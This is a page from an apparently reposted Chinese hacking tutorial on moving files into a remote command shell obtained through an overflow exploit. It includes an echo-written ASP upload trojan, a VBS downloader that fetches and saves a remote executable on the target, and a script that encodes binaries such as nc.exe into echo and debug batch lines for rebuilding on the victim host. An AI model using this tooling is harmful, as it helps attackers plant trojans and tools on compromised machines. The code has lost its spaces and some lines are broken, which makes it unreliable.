Do All in Cmd Shell一切在命令行下完成第1/6页
作者 佚名
来源 批处理
浏览
发布时间 2013-07-09
文件传输 对于溢出漏洞获得的cmdshell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下: 1,用Echo命令写ASP木马。 前提当然是目标主机上已经安装了IIS。 一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。 直接给出echo版: @echo^>up.asp 注意,只有一行,中间没有回车符。 生成的up.asp不能用浏览器访问,只能用下面这个脚本: withwscript if.arguments.count>dl.vbs @echow.open"get",.arguments(0),0:w.send:ifw.status^>200then.echo"Error:"+w.status:.quit>>dl.vbs @echoaso.type=1:aso.open:aso.writew.responsebody:aso.savetofile.arguments(1),2:endwith>>dl.vbs 举例——下载ps.exe并保存到c:\path下: cscriptdl.vbshttp://www.sometips.com/soft/ps.exec:\path\ps.exe 注意,这是在远程shell中执行的。 4,Echo经过编码的任何文件,再用脚本+debug还原。 前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了! echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。) 无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本: fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"\")) withcreateobject("adodb.stream") .type=1:.open:.loadfromfilefp:str=.read:sl=lenb(str) endwith sll=slmod65536:slh=sl\65536 withcreateobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) .write"@echostr=""" fori=1tosl bt=ascb(midb(str,i,1)) ifbt>debug.vbs"+vbcrlf+"@echo+""" next .writeline""">>debug.vbs"+vbcrlf+"@echowithwscript.stdout:r=vbcrlf"_ +":fori=1tolen(str)step48:.write""e""+hex(256+(i-1)/2)"_ +":forj=itoi+46step2:.write""""+mid(str,j,2):next:.writer:next>>debug.vbs" .writeline"@echo.write""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_ +"""+r+""ndebug.tmp""+r+""w""+r+""q""+r:endwith"_ +">>debug.vbs&&cscript//nologodebug.vbs|debug.exe>nul&&rendebug.tmp"""&fn&"""&deldebug.vbs" endwith 将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令: cscriptecho.vbsnc.exe 也可以直接把要传输的文件的图标拖放到脚本文件的图标上。 稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容: @echostr="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206 |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: 批处理的api WMIC学习体会有感第1/2页下一篇: 关于echo 的问题与使用说明
关于Do All in Cmd Shell一切在命令行下完成第1/6页的所有评论